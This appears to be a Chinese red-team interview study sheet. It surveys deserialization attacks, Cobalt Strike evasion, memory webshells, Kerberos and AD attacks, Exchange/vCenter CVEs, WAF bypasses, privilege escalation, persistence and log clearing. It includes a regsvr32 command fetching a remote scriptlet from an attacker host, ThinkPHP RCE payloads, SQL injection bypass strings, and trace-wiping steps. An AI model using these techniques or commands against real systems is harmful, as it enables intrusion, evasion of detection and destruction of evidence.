面试问题-(红队/HW)
1.shiro反序列化
shiro反序列化漏洞原理:shiro550(命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值)
比较重要的是AES加密的密钥,一般的shiro利用工具就是找到其默认的AES的key,然后反序列化执行我们的恶意payload即可
Java Runtime为什么要bash编码:管道符、输入输出重定向,只有在bash环境下才能用
shiro550与shiro721的区别是什么:加密的方式不同了,721用的是AES-128-CBC加密
利用失败的原因可能有哪些:(1)没有找到真的gadget(2)经过oracle padding加密后的payload过长导致打不进去
找到了key无法生成内存马:(1)webshell的版本不对(冰蝎)(2)没有写进去或者被杀了(3)用gsl或者其他shiro得工具
shiro反序列化绕waf:
(1)rememberme cookie加密(再payload中加入!、@、#)+垃圾数据混淆 (base64加密不同语言环境添加的垃圾字符不一样)
(2)fuzzing请求方法,将get请求fuzzing,未知请求方法绕过
(3)HOST回车、TAB,fuzzing ua头
(4)rememberme cookie做一个loader,恶意的payload放post内容
(5)缩小反序列化的长度(分块传输,代码层优化)
防御方法:(1)升级新版本(2)不使用默认key
2.fastjson反序列化
特征:一些json的字符串,直接用payload请求dnslog
fastjson就是将json格式转换为类、字符串等,或者将类、字符串等数据转换成json数据,类似序列化的操作,fastjson版本 <= 1.2.24(jndi注入和JSON.parseObject()函数的反序列化)
fastjson反序列化漏洞原理:Fastjson是自己实现的一套序列化和反序列化机制,构造恶意的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行(getter方法/setter方法存在漏洞,payload中@type)
如何理解反序列化:我们是没办法直接转储对象,只能将对象的所有属性一一访问,保存,取出时一一还原,序列化与反序列化就是为了解决这个问题
rmi和ldap是什么:rmi相当于是解决java客服端与服务端远程调用对象的一个方法,ldap就是身份认证认证
jndi和jdbc的区别和联系:两者都是API,是连接数据库的标准,jdbc只能用来连接数据库,jndi还可以管理当前应用服务器上的其他资源,如网页,文件等
fastjson版本号怎么获取:(1)利用AutoCloseable报错查看response返回包确定版本(2)利用payload去尝试(合适的payload会延时)
fastjson不出网如何利用(payload打不成功可能是fastjson版本问题,或者是服务器的java版本比较高):
(1)利用C3P0构造二次反序列化,C3P0是JDBC的一个连接池组件(hex base以及jndi两个Gadget利用链)
(2)通过将注册恶意类的字节码文件和注册controller的类的字节码文件经过BCEL编码后请求到服务器,但BCEL ClassLoader(类加载器)在Java 8u251以后就没有了,BCEL可以创建、修改Java Class文件的API
(3)TemplatesImpl来加载字节码执行命令,需要开启SupportNonPublicField功能(很苛刻)
(4)common-io写文件
fastjson绕过waf:
(1)利用unicode/hex编码,2者可混合使用
(2)特殊符号:多个逗号,下滑线,注释,空格,引号不添加(type后的第一个引号,dataSourceName不加),减号,dataSourceName添加is,/b
fastjson dnslog有回显,使用ldap和rmi无回显:
(1)jdk版本问题
(2)如果是恶意的ldap无回显,需要bcel回显或者打内存马,如果恶意的http无回显,反序列化链绕jdk限制
(3)判断是否真的能出网,53dns udp,1099rmi tcp,防火墙大概率会屏蔽这种异常tcp端口,建议用443端口
3.cobalt strike相关问题
修改cobalt strike特征
1.修改teamserver连接端口,可通过.properties文件修改,也可以修改teamserver
2.修改证书hash,利用keytools,放置cobaltstrike.store
3.通过c2 malleable自定义http-stager的uri
4.通过cdn上线(利用cloudflare,得注意匹配所有js文件,mime-type头文件得注意,可能无回显)
5.域前置:
作用:通过HTTPS 通用规避技术隐蔽自己的远控
原理:通过向 cdn 的节点 ip 发送包含想要伪造 host 的请求,cdn 便会从记录中查找该 host 对应的源站 ip,并将流量转发至原站 ip
操作:cs设置一个监听器(host改为谷歌和端口号443) -->然后部署gae(谷歌的云平台)代码,参数的内容包括cs的ip或域名 --> 更改我们的cs配置文件
BOF:
作用:隐蔽自己
原理:BOF就是Beacon Object File,就是编译后但未链接的目标文件,链接目标文件后就会变成PE文件或其他格式的本机程序,类似于shellcode和loader的感觉,Beacon在接收执行obj前,Cobalt Strike会先对这个obj文件进行一些处理(解析obj文件中的段.text,.data),处理重定位,填充函数指针
execute-assembly:
作用:无文件落地,内存执行C#文件
4.内存马
Tomcat内存马(有Listener型,Filter型,Servlet型)
Listener型:动态注册恶意的Listener,一般注册request,通过获取StandardContext对象注册恶意listenner
Filter型:通过控制filterMaps、filterConfigs、filterDefs的值,则可以注入恶意的filter(shiro内存马,也可以改造代码移植到冰蝎,gsl)
Servlet型:找到StandardContext,继承并编写一个恶意servlet,并创建一个对象,修改对象的参数,最后将 url 路径和 servlet 类做映射
spring mvc内存马
controller型:使用registerMapping方法来动态注册我们的恶意controller(fastjson内存马)
weblogic内存马
Filter型:加载恶意类,动态注册filter(调用registerFilter进行注册),可改造移植到冰蝎
java agent内存马:java.lang.instrument包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法,agent内存马动态修改特定类的特定方法,将我们的恶意方法添加进去
如何识别内存马:
1.没有在web.xml中配置的filter,或者filterClass为空的Filter,因为此类内存马是通过filter动态注册的
2.特殊classloader加载(比如TemplatesImpl和bcel)
3.把内存中所有的Filter的class dump出来,使用fernflower等反编译工具分析看看,是否存在恶意代码(总的来说有filter,但是没class文件)
如何查杀:
1.清除内存马中的Filter的恶意代码
2.模拟中间件注销Filter
5.分享一些实战案例
案列1:
某次HW项目中,改网站使用的是Onethink的模板,有cdn,找到后台目录,爆破没成功,找端口/fuzzing目录,查看js泄露,然后百度发现有sql注入的poc,但是没有利用成功,最后发现有ssrf的漏洞,然后在自己的vps监听,成功获取到站点的真实IP,然后通过真实IP找旁站,找到一个pageadmin的站点,百度漏洞,可通过修改万能cookie进入后台,然后上传,上传绕过,通过ashx绕过成功进入该企业内网,当前是在工作组,内网探测发现一个致远的OA系统,然后发现改OA存在status.jsp泄露,进去可以发现员工的登录日志,收集员工的账号,密码喷射,成功爆破出密码,登录OA后台,获取cookie信息上传压缩文件拿下OA权限,发现该OA双网卡,扫描第二个网段,发现存在ms17010,用msf的exp没有打动,然后用shadowbroker原生py打成功,拿下该权限,发现存在域环境,dump lsass获取账号密码,利用CVE-2021-42287拿下域控权限
案列2:
某次HW项目中,扫描某网站的C段,常规试探非80端口(比如81,88),找到一处登录点,经确定为目标资产,弱口令进入后台,找上传发现没有找到,扫描目录时发现存在OA目录,进去会重定向,url会出现一个字符串,该字符串我们猜测是该后台的名称,然后百度发现某个位置存在注入,发现存在WAF,简单fuzzing后发现拦截规则,空格(内联),逗号被过滤(case when绕过),等号(like),concat(make_set),from(3e0from)被过滤掉,最终绕过,sqlmap成功利用--os-shell拿下权限,但是发现命令没有回显,写入文件查看就行不通,当时考虑通过dnslog外带,但是执行就卡死,估计是有域名黑名单的策略,最后的解决方案是利用wmic绕过,具体方式是在我们的vps上放置相关xml(xml是执行的命令),在终端执行wmic process call create "regsvr32 /s /n /u /i:http://192.168.149.133:1337/as.txt scrobj.dll",就可以把输出的内容以base64的形式回显在我们的vps上,然后用同样的方式写入webshell,拿下改IIS服务器权限,翻阅相关文件,找到数据库的相关账密(sqlserver),开启xp_cmdshell拿下,发现环境在域环境下,且我们的sqlserver权限也是域用户,查看注册表发现域控的IP出现过此机器,且我们whoami /priv有相关特权,可以提权为system,且此机器为非约束委派的机器,于是ntlmrelay监听,获取到域管的TGT,利用域管的TGT成功dcsync,拿下域控制器
6.内网kerberos认证,金银票据,bypassuac,dll注入\劫持,ACL
一些基本概念:
TGT:客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
PAC:特权属性证书,PAC包含Client的User的SID、Group的SID,决定给予Client什么样的资源访问权限
SPN:即服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)在使用 Kerberos 身份验证的网络上的唯一标识符,其由服务类、主机名和端口组成
KDC负责管理票据、认证票据、分发票据,但是KDC不是一个独立的服务,它由以下服务组成:
Authentication Service: 为client生成TGT的服务
Ticket Granting Service: 为client生成某个服务的ticket
Kerberos 认证流程:
1.用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳,KDC使用用户hash进行解密,如果结果正确,返回krbtgt hash加密的TGT票据,TGT里面包含PAC
Kerberos在account database查看我们客服端的账户是否是白名单,是的话将tgt返回给客户端(会查找是否有相同用户名的用户,如果没有该用户名,认证失败)
TGT中包含的内容有kerberos数据库中存在的该客户端的Name,IP,当前时间戳,客户端
2.用户凭借TGT票据向KDC发起针对服务的TGS_REQ请求,KDC使用krbtgt hash进行解密,如果结果正确,返回用服务hash加密的TGS票据
这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据,这也是kerberoating能利用的原因,任何一个用户只要hash正确,可以请求域内任何一个服务的TGS票据。
3.用户拿着TGS票据去请求服务,服务使用自己的hash解密TGS票据。如果解密正确,域控解密PAC,获取用户的sid,所在组,再判断用户是否有访问服务的权限,有访问权限就允许用户访问
有些服务并没有验证PAC这一步,这也是白银票据能成功的前提,因为就算拥有用户hash可以制作TGS,也不能制作PAC,PAC当然也验证不成功
PTH&PTT&PTK
PTH原理:在Windows系统中使用NTLM身份认证,NTLM认证使用口令加密后的hash值(hash值由系统API生成),如果攻击者获得了hash,即跳过调用API生成hash的过程
默认打了补丁,其他用户无法pth,但是administrator(sid:500以及本地管理组的域用户)仍可以pth(非RID500账户登录之后是没有过UAC的,所有特权都被移除,可通过注册表解决)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy项存在(默认不存在)且配置为1
PTT:PASS THE Ticket(ms14068提权,金银票据)
ms14068提权原理:PAC没有放在TGT中,放在了TGS的数据包中,且KDC无法正确检查 Kerberos 票证请求随附的特权属性证书 PAC 中的有效签名(使用MD5签名(PAC尾部的签名算法可以任意指定))
白银票据:
当我们知道了server的hash,直接伪造TGS,就可以跳过认证的第一步和第二步,直接请求成功
黄金票据:
当我们知道了krbtgt的hash,跳过 AS 验证,就可以伪造第一步的tgt,进而拿到黄金票据
两者的防御方法:
1.及时更新krbtgt用户的密码
2.开启pac认证(检测白银票据,因为就算拥有用户 hash,可以制作 TGS,也不能制作 PAC,PAC 当然也验证不成功)
PTK:PASS THE KEY(密钥传递攻击)
PTK原理:通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能
Kerberoasting(SPN 服务主体名称发现•请求服务票据•服务票据的导出•服务票据的暴力破解),一般配合找寻特定ACL用户,比如能否写入SPN的用户
bypass uac
uac的原理:开启uac后,如果用户是标准用户, Windows 会给用户分配一个标准 Access Token 如果用户以管理员权限登陆,会生成两份访问令牌,一份是完整的管理员访问令牌(Full Access Token),一份是标准用户令牌,UAC 绕过的基础,就是子进程从父进程中继承访问令牌,windows操作系统的进程完整性级别一共有4个,分别是Low(低完整性级别),Medium(中完整性级别),High(高完整性级别),System(系统)。在标准模式下,程序一般都运行在Medum级别,等到UAC提升之后,才会提升到High完整性级别。
触发uac的场景:将文件移动或复制到Program Files或Windows目录,查看其他用户文件夹,改变用户的账户类型
绕过uac的方法:
1.shell api白名单绕过,有一些系统程序直接获取管理员权限且不弹出uac的窗口,这些程序拥有autoElevate属性的值为True(利用sigcheck64.exe发掘),随后配合Procmon监听exe修改注册表的动作
2.利用com接口绕过:
(1)elevation属性开启,且开启Auto Approval(需要利用这个特点绕过UAC,OleViewDotNet和IDA来进行查看)
(2)COM组件中的接口存在可以命令执行的地方(用来执行我们自己的命令,例如ICMLuaUtil的ShellExec)
总的来说就是用OleViewDotNet和IDA来查看com组件是否开启Auto Approval,开启了去看所使用得dll是否可以执行命令
3.提权
ACL
ACL的作用:一个用户能不能访问安全对象(DACL)以及日志记录功能(SACL)
DACL:(1)有DACL,但是ACE条目的数量为0,是不允许任何用户访问的(2)无DACL,允许任何用户访问的
拥有修改DACL的权限可以做如下操作:
(1)具有dcsync的权限(DS-Replication-Get-Changes/复制目录更改)
(2)在不知道用户密码的情况下修改密码(User-Force-Change-Password)
(3)将任意用户添加到任意组
(4)写入SPN的权限,可用于kerberoating
dll注入\劫持
dll注入:将我们的shellcode注入某一个进程支持的dll中,修改或拓展程序行为,当然可以使用反射dll注入来过一些静态免杀
dll劫持:a.exe运行需要b.dll,我们将恶意的c.dll放置在比b.dll更优先级执行的位置,也是通常白+黑常用的方式(Process Monitor查看启动dll是否有loadLibaryEx)
psexec与wmicxec有什么区别
1.用了psexec会产生日志,且无法清除掉,会被发现
2.端口不一样,一个是基于445端口,一个是基于135端口
7.关于域委派攻击
委派概念:接受委派的用户只能是服务账户或者机器用户,委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限访问域内的其他服务
非约束委派:当用户访问配置了非约束委派的服务账号,该服务账号会缓存该用户的TGT,一般通过诱使域管用户(MSSQL/IPC/IIS)或者打印机漏洞让域管用户强制回连以缓存 TGT
约束委派:和非约束委派不同,不能获取用户的TGT,且扩展了两个子协议(S4U2Self,S4U2Proxy) ,一般通过获取委派的服务账号的明文密码或者ntlm,伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问指定服务的ST
基于资源的约束委派:拥有将机器B加入域的域用户的权限(有修改 msDS-AllowedToActOn权限),如果拿到将机器加入域的账号的权限或者Account Operators组的权限,即可获取该账号加入域的所有机器的system权限或除域控外所有机器的system权限
关于约束委派的防范措施:
1.高权限的用户,设置不能被委派
2.尽量使用高版本的域控(Windows 2012 R2 及更高的系统),有受保护的用户组,组内用户不允许被委派
3.主机账号需设置委派时,只能设置为约束性委派
8.ntlm relay
什么是relay:强制目标服务器、目标用户使用LM Hash、NTLM Hash对攻击者的服务器进行认证,攻击者将该认证中继至其他目标服务器中
常见触发relay的方式:1.printerbug 2.PeitiPotam 3.DFSCoerce 4.shadowcoerce 5.privexchange(cve-2018-8581)
relay2smb以及relay2ldap常见的利用方式:smb(如果拿到域控的请求relay到域控运维的机器,如果没有开启smb签名认证可以relay回域控,或者relay回本身),ldap(高权限组以及写acl以及基于资源的约束委派)
防御方法:1.非必要不启用 Print Spooler 服务 2.禁用已废弃的NTLM认证 3.启用身份验证扩展保护 (EPA)、SMB 签名
什么是relay?
因为ntlm hash有2种,Net-NTLM v1能破解,Net-NTLM v2也能用hashcat破解,不过看运气,如果破解不出来,就需要relay,那什么是relay,相当于web里面的重放,我们可以把域控relay到其他运维的域机器,常见的有relay smb(比如中继监听到域管的ntlm,那么我们可以用域管的ntlm relay到其他域机器从而拿到权限)和relay ldap(约束委派以及acl dcsync以及加入管理组前提是relay的用户是高权限组)
PetitPotam和Printerbug relay都能relay,区别是什么?
Printerbug需要开启spoolss服务,以及两者的smb管道和协议也不一样
9.内网常见的CVE/横向方式
MS17010:永恒冠军,永恒浪漫(shadowbroker)
CVE-2019-1040:relay的是exchange的机器,有写acl的权限,直接可dcsync,如果是普通用户权限(看在哪个组/有无写acl权限),添加基于资源的约束委派,如何绕过Mic,取消设置NTLM_NEGOTIATE消息中的签名标志
CVE-2020-1472:在Netlogon协议中没有正确使用加密算法而导致的漏洞,使得攻击者在明文(client challenge)、IV等要素可控的情况下,存在较高概率使得产生的密文为全零,poc打完需将域控hash还原
CVE-2021-42287:攻击者用该漏洞创建一个机器用户,再把机器用户的sAMAccountName改成DC的sAMAccountName,然后申请一个tgt票据,最后再把dc的sAMAccountName改回机器用户的sAMAccountName,kdc此时找不到dc的sAMAccountName,就会使用我们创建的机器用户,最终获得域控制器DC的权限
CVE-2022-26923:ADCS漏洞,把添加的这个计算机账户的DNShostname改成和DC一样,在利用certipy通过用证书进行认证的方式,由于之前这个计算机账户的DNS hostname改成和DC一样了,所以就会返回DC的hash值
内网横向移动比较关注的东西
Linux:查找相关密码(数据库/运维密码),翻阅开发相关网站(找密码,aksk,gitlab),找其他好打的web服务进一步渗透(weblogic/jboss等)
Windows:当前设备的安全设备有哪些,当前账户权限(是否为域用户/所处的组/有哪些acl/是否委派/有无ipc空连接/连接过的rdp),所在的网段(域控在哪儿),终端的wifi密码,最近浏览的文件,注册表(有无其他第三方数据文件),浏览器密码书签,相关的web服务(weblogic/vcenter/exchange/ADCS/jenkins/zabbix),所否存在常见的CVE(ms17010,2020-1472)
10.exchange(ssrf+rce)/Vcenter
寻找Exchange:(1)25:smtp ,443:owa页面,587:加密身份验证(2)命令查找net group "Exchange Domain Servers" /domain 或者setpan (3)特殊目录,owa/outodiscover/mapi等 (4)特俗子域名(mail/owa)
查看Exchange版本:F12查看发行版本号在和官网对比
Exchange相关的打法
1.使用相关CVE打:
(1)CVE-2019-1040:ntlm relay
(2)CVE-2020-0688:四个值可控(--validationkey默认, --validationalg = SHA1,--generator=B97B4E27(基本默认)--viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)),导致的RCE
(3)CVE-2021-26855:通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息,在通过LegacyDN,获取SID, 然后通过SID,获取exchange的有效cookie,最后通过cookie对OABVirtualDirectory对象进行恶意操作,写入一句话木马,达到控制目标的效果。
2.OWA/EWS/Microsoft-Server-ActiveSync/autodiscover密码爆破,密码喷射
获取邮箱地址:
(1)常规信息收集,github,语雀等
(2)网站,微匹,hunter,skymem
(3)工具,theHarvester,也可以使用工具验证邮件得准确性
寻找Vcenter:(1)5480端口
Vcenter相关的打法
1.根据Vcenter版本信息确定存在的漏洞,通过漏洞获取webshell,如果权限为root,伪造cookie或者创建用户操作获取web权限,获取更多机器的权限,如果权限为vsphere-ui,提权到root
2.查看Vcenter版本,sdk/vimServiceVersions.xml
3.使用相关CVE打
(1)CVE-2021-21972 RCE(需要知道真实路径),默认路径C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps,写不进去可以往子级目录写
(2)CVE-2021-21985 RCE,启用的Virtual SAN Health Check插件缺乏输入验证,可在操作系统上远程执行任意命令
(3)CVE-2021-22005,文件上传
4.配合Log4j,Vcenter的SAML路由,增加XFF,把需要执行的命令跟在XFF后面
11.信息收集
web端的信息收集
(1)常规的资产收集,包括子域名,端口,c段,旁站等,以及微信公众号,qq群,谷歌语法找相关pdf,xlsx查看工号,姓名,公开笔记(语雀等)
(2)邮件搜寻,脉脉在职员工定向钓鱼(vx,手机号,邮箱),公司组织架构,电话,物理地址(打不动可以考虑物理渗透),抖音找员工
(3)服务器的提供商,各类云,各类waf,vpn的设备是什么,现在供应链是新的方向了
(4)一些安全漏洞(比如域传送漏洞nslookup dig查看,内网可以利用host头碰撞,原理是nginx/Apache的反向代理的host配置没删除,是否有.git/.svn/ds_store文件泄露,还原代码,jsonp泄露)
终端的信息收集
(1)本机信息(杀软进程/是否为虚拟机/docker),系统版本,网段信息(vpn/双网卡),/etc/hosts文件
(2)相关文件/敏感字段 findstr /s /m "password" *.*查找,wifi密码,浏览器密码,cookie,书签,powershell/bash终端记录,rdp终端链接记录,密码策略,navacit/xshell等工具密码破解
(3)中间件文件的配置文件(tomcat/nginx/apache)
(4)当前账号权限查看,linux查看是否有空密码用户,特权用户账户
windows域账户
1.查看该域用户登录了哪些域机器(PsLoggedon.exe,远程登录后会在注册表有值,这也是工具实现的原理)
2.当前所在用户所在的组,有哪些acl,是否是委派的账号
3.是否有ipc空连接,是否有SYSVOL组策略gpp文件泄露获取密码
清空渗透痕迹
windows:删除各类日志文件,%SystemRoot%\system32\config,使用工具Phant0m
linux:history -c清空his记录,删除各类日志文件,
12.内网不出网上线方式
0.cs上线Linux机器:使用CrossC2,在交互式的shell里面找一台中转机,用ssh上线
0.1 Cobalt Strike Windows Executable是生成Stager类型的马,而Windows Executable(S) 是生成Stageless类型的马。那Stager和Stageless有啥区别呢
Stager是分阶段传送Payload的木马,Stageless是完整的木马
中转机器能出网
1.如果有中转机器,内网不出网机器上线,可使用SMB Beacon上线,利用ipc上传beacon,上传后用link命令连接上线,也可以使用tcp beacon上线
2.用流量工具代理,在中转机器开启https代理的端口(一般用goproxy,pystinger),再把不出网的内网机器未使用的端口重定向到https代理端口,生成payload执行上线
中转机器不出网
1.中转机器是否只是tcp协议不出网(dns能出网(nslookup dig检测)配置cs监听文件,exe/ps1都能上线,icmp能出网(ping tracert检测),利用pingtunnel)
2.上线自己的攻击机,如果能用abptts进行流量代理,那说明能够通过tcp beacon上线
3.Pystinger来实现内网反向代理
13.redis未授权
windows与redis常见拿shell的方法
windows:1.绝对路径写webshell(前提是有web服务) 2.启动项(目录/注册表) 3.dll劫持
linux:1.写计划任务(var/spool/cron) 2.公私钥(是否存在root/.ssh),将公钥写入 3.绝对路径写webshell(config set写入)
redis主从复制(redis的版本在4-5):
redis实例作为主机,主机只负责写,从机只负责读。构造恶意.so文件,主机实例通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令
修复方式:(1)禁止外部访问redis服务端口(2)禁止root权限启动redis服务
14.文件上传
常见绕过方式,白名单用解析漏洞绕过(IIS解析漏洞/ngnix解析漏洞),黑名单绕过方式如下:
(1)垃圾数据/大小写/00截断/分块传输/双写绕过
(2)各类编辑器漏洞(FCK,ewbeditor)
(3)利用二次渲染/NTFS ADS的特性绕过
(4)BurpSuite fuzzing content-Disposition/filename/from-data/Content-Type/boundary(删除,添加空格,回车),fuzzing header头,添加X-Real-IP: 1.1.1.1/X-FORWOARD-FOR
(5)多的后缀名,php php php3 php4 phtml jsp jspx jspf aspx=ashx
15.CSRF与CORS
csrf(跨站请求伪造)
用当前用户的权限去执行当前用户能做的事情,比如后台管理员新增用户,修改密码,当然也能getshell,看你的表单怎么构造以及当前用户的权限是否能够新增修改模板代码或者添加管理员(前提有源码)
防御方法:
(1)增加referer头(2)增加token的验证,以及各种二次验证,比如验证码,二次密码(3)尽量使用post方法(4)同源策略
同源策略(SOP):协议,https/http,端口,域名(子域名)三者保持一致,如果不一致将会无法请求数据
cors(跨域资源共享)
攻击场景:
(1)查看requests中是否有Origin和response中时候存在ACAO,ACAC,ACAC是否为true
(2)Burp 流量中搜索decrypt,function decrypt,publicKey等关键词的信息,然后解密解密相关cookie
(3)跨域获取相关信息
CORS漏洞绕过:
(1)Origin校验绕过,前缀匹配,包含匹配,后缀匹配
cors与jsonp的区别:(1)cors支持get和post方式的跨域,jsonp只支持get(2)cors不支持IE10一下的浏览器,jsop支持所有浏览器
16.xss,csp,sql注入
xss:
常见的绕过方法:
(1)编码绕过(html编码,js进制绕过),常见函数替换(svg onload,sCrIpT,input onfocus)
(2)特殊符号替代:()号绕过(用反引号``代替括号,编码),引号绕过(用左斜线替换引号),空格绕过(/**/,用左斜线代替空格,+,%0d,%0a),单引号转义转义符\却不转义,导致单引号
(3)iframe配合data伪协议
(4)注释,闭合(-->还有--!>)
(5)上传带js的图片,带js的pdf
DOM型XSS和反射型XSS的区别:DOM型XSS其实算反射型XSS,但是DOM型XSS不会和后台进行交互,是Web前端安全问题,当攻击者可以控制一些DOM对象且脚本并没有对用户输入内容进行有效的过滤,就会导致DOM型XSS漏洞的存在
httponly怎么绕过:
(1)如果有phpinfo,找到$_COOKIE["cl_session"],会打印出httponly属性的cookies,在构建相关js请求cl_session参数,让目标网站请求我们的恶意js可绕过
(2)钓鱼,构造相同界面,输入密码
(3)利用cors,原理是会话劫持,通过在恶意的js代码里面监听端口
csp(Content-Security-Policy):
csp是内容安全策略,能够阻止部分XSS攻击和数据注入攻击,CSP 的实质就是白名单制度,告诉客户端,哪些外部资源可以加载和执行.
csp策略具体内容一般在header字段以及html meta标签里面(常用的策略指令:(1)sandbox 沙盒模式,会阻止弹窗js的执行(2)default-src安全策略)
如何绕过csp:
(1)安全开发人员没有配置好,default-src字段为空,可以使用meta标签实现跳转
(2) 安全开发人员没有配置好,script-src 'self' 'unsafe-inline',可以执行脚本,但是要跨过可信域的限制,使用window.location/window.open,因为跳转还是需要前端来执行,后端无法做出限制
(3)如果策略为只允许加载当前域的js,上传一个内容为js的图片
(4)标签fuzzing,比如常见的script/svg/img这些标签会被拦截,但是我们的link标签可以绕过,不同浏览器对CSP的支持都不完整
防御方法:(1)配置好安全策略CSP/httponly(2)过滤一些敏感字符串(< > " ' /)(3)限制输入长度(4)增加验证码(5)同源策略
sql注入:
判断方式:php?id=6-2*1e308 and 1=TIME_DIFF(ascii(1),*) and {``1=2}--+
常见的绕过方法:
(1)注释+内联+换行+hex编码+大小写(fuzz中文+%0a),能内联的函数union select / case
(2)特殊符号(反引号``,感叹号!!!,编码,xor @,join)
(3)函数替换,order by = group by union select = union+distinct+select = union+distinctRoW+select mssql(declare,convert,hex编码,char编码)
(4)垃圾数据
(5)函数绕过,from(3e0from,from{x) concat(make_set,lpad) 空格(--+(1)%0a,+,内联) 单引号(%bf%27) =(like,rlike,正则regexp) 括号(case whe配合like) 逗号(case when配合offset/)
(6)hpp参数污染,id=1&id=-2'
盲注除了sleep还有什么什么函数:
ascii substr strcmp substr IFNULL substr benchmark()函数重复执行某项指令
笛卡尔注入原理是什么:
对一张表作自身的笛卡尔积让查询时间变长从而达到和sleep一样的效果,如果系统返回结果的时间与之前有差异,那么就是我们注入的语句成功在系统内执行,也就是说存在注入漏洞
SQLSERVER注入没有回显怎么办:创建一个表,将内容写入这个表,在查询这个表
xp_cmdshell被删除怎么办:(1)启用sp_oacreat,可用wscript和Application(2)上传xplog.dll(3)利用CLR程序集来执行命令(.NET Framework语言用户定义函数,创建恶意的cmd来执行命令)(4)agent job执行
SQLSERVER不支持堆叠如何开启xp_cmdshell:(1)利用if开启堆叠模式(2)开启Ad Hoc Distributed Queries 组件启用堆叠
SQL注入getshell方法,看权限,没有写的权限就读(mysql):
(1)sqlmap的--os-shell:利用into outfile上传马(Secure_file_priv为指定路径或空,拥有网站的写入权限,sqlserver看是不是sa权限)
(2)UDF提权(创建自定义函数(sys_eval/sys_exec)),可用--sql-shell查看版本,plugin文件位置,plugin无法创建可以用文件流创建
Mysql版本大于5.1版本:udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下
Mysql版本小于5.1版本: udf.dll文件在Windows2003下放置于c:\windows\system32
(3)sql-shell读取密码(后台密码或者数据库密码),找phpadmin,利用日志get-shell,慢日志getshell(可绕过Secure_file_priv=null)
sqlserver:
(1)xpcmdshell写入一句话木马,^^转移,可用hex char绕过
(2)数据库差异备份/日志getshell
(3)sqlserver有部分CVE可以打
SQL注入防御方法:
(1)过滤相关敏感函数
(2)数据库权限不能太高
(3)sql预编译(可fuzzing预编译闭合的方式)
(4)php开启magic_quote_gpc
17.windows&&linux提权的方式
win:
(1)土豆一族,利用relay(Hot Potato--MS16-075,http->smb),利用DCOM CALL 来使服务向攻击者监听的端口发起连接并进行 NTLM 认证(Juicy Potato)
这里补充一下Rotten Potato与Juicy Potato有什么区别
1.Rotten Potato使用的 COM 对象为 BITS,CLSID 为 {4991d34b-80a1-4291-83b6-3328366b9097},Juicy Potato 提供了多个
2.Rotten Potato使用135端口 ,Juicy Potato 支持指定任意本地端口,但是 RPC 一般默认为135端口
(2)whoami /priv(特权提权,一般为iis,sqlserver服务账号提权)
(3)命名管道(msf的getsystem)
(4)令牌窃取(incognito)
(5)cve内核补丁提权
linux:
(1)内核漏洞(linux-exploit-suggester.sh)
(2)文件权限配置不当提权(进程启动权限为ROOT,对应文件编辑权限为普通用户,即可触发,常见的比如python,perl,tar,vim,find)
(3)sudo/计划任务配置错误(比如sudo -i,sudo -l,sudo用户免密登录)
(4)第三方服务提权,nfs,数据库等
18.权限维持(从用户和权限这2块来说)
1.利用sc自启动(sc create),计划任务(crontab,plist),bits权限维持,添加sudo免密
2.注册表(run/runonce/control panel(屏幕)/),其他自启动目录隐藏文件(AppData+Start Menu+Startup/Start Menu\Programs\Startup)
3.shift5次后门后门,添加隐藏用户(通过注册表添加,利用api添加)
4.利用acl添加普通用户的完全访问权限(修改用户密码,将用户加入某个组,写入spn的权限/kerberosting,dcsync)
5.AdminSDHolder
6.基于资源的约束委派配合krbtgt用户进行权限维持
19.AD&CS
1.定位ADCS服务器 certutil -config - -ping
2.利用certipy进行ADCS攻击(常见的为ECS1和ECS8)
ECS1:普通域用户到域管理员的提权
ECS8:adcs relay(通过Petitpotam进行relay,获取票据后dcsync)
20.条件竞争
通常的web处理方式是通过单线程线性完成的,如果出现多线程并发请求的情况,数据处理逻辑就可能出现异常,与之类似的还有hpp污染
条件竞争上传,在文件还没来得及删除访问
防御方式
业务与数据都经量上锁
21.代码审计
全局思路:1.把源码的所有文件写入一个txt,将txt放入bp爆破,查看有无未授权,文件上传等 2.全局搜索一些敏感函数,比如rce相关的file_put_contents,call_user_func等函数,上传相关的字段upload,任意文件下载/读取的函数,download
XSS漏洞挖掘技巧,XSS关注document.URL,eval,document.write等函数,SSRF关注调用curl或者wget的函数,在数据交互处查找直接或间接拼入SQL语句执行且输入参数内容我们可控
审计过的CMS/漏洞:福汇sql注入/维多利亚注入/
tp5 rce分析:
比如我们的GET型paylaod:?s=index/\think\app/invokefunction?function=call_user_func&vars[0]=system&vars[1]=whoami
GET型payload总的操作流程:没有开启强制路由,通过?s的方式传入路由信息,控制器的名字中存在 \或者以\开头,会被会被当作一个类(\think\app),利用命名空间,实例化任意类,调用任意类的任意方法,比如call_user_func,通过对应的内部函数通过get请求传入拿下shell
GET型payload修复:开启强制路由
POST型paylaod:_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
POST型payload总的操作流程:Request类的method方法可控导致可以调用__contruct()覆盖Request类的filter字段,通过$request->param()会进入到input()方法,input()方法将被覆盖的filter回调call_user_func(),造成rce
POST型payload修复:添加控制器过滤,输入的路由将会报错404,不在执行,或者关闭debug模式
TP的打法:(1)各类rce尝试(2)日志包含,找日志(3)利用session拿下(条件竞争)(4)读文件,读数据库密码
22.登录窗口/后台的渗透思路
